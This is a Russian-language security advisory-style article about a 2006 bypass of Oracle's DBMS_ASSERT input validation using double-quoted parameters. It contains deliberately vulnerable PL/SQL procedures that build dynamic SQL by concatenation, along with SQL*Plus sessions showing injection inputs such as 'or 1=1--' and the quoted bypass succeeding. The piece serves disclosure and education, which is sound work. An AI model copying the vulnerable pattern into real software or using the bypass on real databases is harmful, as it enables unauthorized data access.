Используя специально сформированные параметры (в двойных кавычках) можно обойти проверку правильности пакета dbms_assert и внедрить SQL код. Уязвимость можно эксплуатировать в большинстве версий Oralce (8.1.7.4 – 10.2.0.2), исправление появилось только в июле 2006 года. Для защиты пакетов Oracle PL/SQL от большого количества SQL инъекции, Oracle разработал новый пакет пол названием dbms_assert в Oracle 10g Release 2. Этот пакет был ретропортирован с Oracle Critical Patch Update (CPU) в октябре 2005 года на все поддерживаемые базы данных (с 8.1.7.4 до 10.1.0.5). Давайте по порядку DBMS_ASSERT - PL/SQL пакет, который содержит следующие функции: ENQUOTE_LITERAL ENQUOTE_NAME NOOP QUALIFIED_SQL_NAME SCHEMA_NAME SIMPLE_SQL_NAME SQL_OBJECT_NAME Подробное объяснение этих функций и их использовании может быть найдено в статье. Если удастся обойти проверку правильности пользовательских данных одной из этих функций, то станет возможным выполнение нападений SQL инъекции против множества уязвимых PL/SQL процедур и функций, которые легко обнаружить в полностью залатанных версиях Oracle (8.1.7.4 до 10.2.0.2 с CPU July 2006), используя поиск нужной строки в распакованном PL/SQL коде. О способах распаковки PL/SQL (+ простой PoC), было рассказано Пете Финнигангом на конференции Black Hat 2006. Начнем с некоторыми простыми PL/SQL примерами Процедура PL/SQL принимает параметр TABLENAME и привязывает этот параметр к динамическому SQL оператору. Этот SQL оператор будет выполнен непосредственно при запуске. Уязвимое решение без dbms_assert: CREATE OR REPLACE PROCEDURE test1 (TABLENAME IN VARCHAR2) IS BEGIN dbms_output.put_line(' SQL=select count(*) from all_tables where table_name='''|| TABLENAME||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''|| TABLENAME ||''''; END test1; / Procedure created. Теперь мы используем обычное имя таблицы в качестве параметра: SQL> exec test1('CAT'); SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Так как этот параметр не проверяется¸ мы можем внедрить PL/SQL код, например “or 1=1--" SQL> exec test1('CAT'' or 1=1--'); SQL=select count(*) from all_tables where table_name='CAT' or 1=1--' PL/SQL procedure successfully completed. Решение с dbms_assert (все еще уязвимо): Теперь мы можем проверить пользовательские данные с dbms_assert.qualified_sql_name. Oracle использует этот подход несколько раз во внутреннем PL/SQL коде. CREATE OR REPLACE PROCEDURE test2 (TABLENAME IN VARCHAR2) IS VERIFY_TAB VARCHAR2(64); BEGIN VERIFY_TAB := DBMS_ASSERT.QUALIFIED_SQL_NAME(TABLENAME); dbms_output.put_line('ASSERT result='||VERIFY_TAB); dbms_output.put_line('SQL=select count(*) from all_tables where table_name='''|| VERIFY_TAB ||''''); EXECUTE IMMEDIATE 'select count(*) from all_tables where table_name='''||VERIFY_TAB||''''; END test2; / Procedure created. Мы передаем нашу таблицу CAT как параметр, и все работает как и ожидалось: SQL> exec test2('CAT'); ASSERT result=CAT SQL=select count(*) from all_tables where table_name='CAT' PL/SQL procedure successfully completed. Теперь давайте попытаемся внедрить дополнительный код. На сей раз dbms_assert.qualified_sql_name отобразит ошибку, и динамический код не будет выполнен. SQL> exec test2('CAT'' or 1=1--'); BEGIN test2('CAT'' or 1=1--'); END; * ERROR at line 1: ORA-06502: PL/SQL: numeric or value error ORA-06512: at "SYS.DBMS_ASSERT", line 206 ORA-06512: at "USER1.TEST2", line 5 ORA-06512: at line 1 Теперь вводим название объекта в двойных кавычках в нашу процедуру: SQL> exec test2('"CAT'' or 1=1--"'); ASSERT result="CAT' or 1=1--" SQL=select count(*) from all_tables where table_name='"CAT' or 1=1--"' PL/SQL procedure successfully completed. И, как не странно, это работает.. dbms_assert.qualified_sql_name пропускает проверку правильности, если параметр заключен в двойные кавычки. Если вы используете DBMS_ASSERT.sql_object_name, вы должны создать сначала объект, например CREATE TABLE " ' or 1=1-- ". Злоумышленник может использовать эту методику (двойные кавычки около параметров), чтобы обойти dbms_assert. Об этой уязвимости, и некоторых связанных ошибок безопасности, было сообщено компании Oracle в Апреле 2006 года. |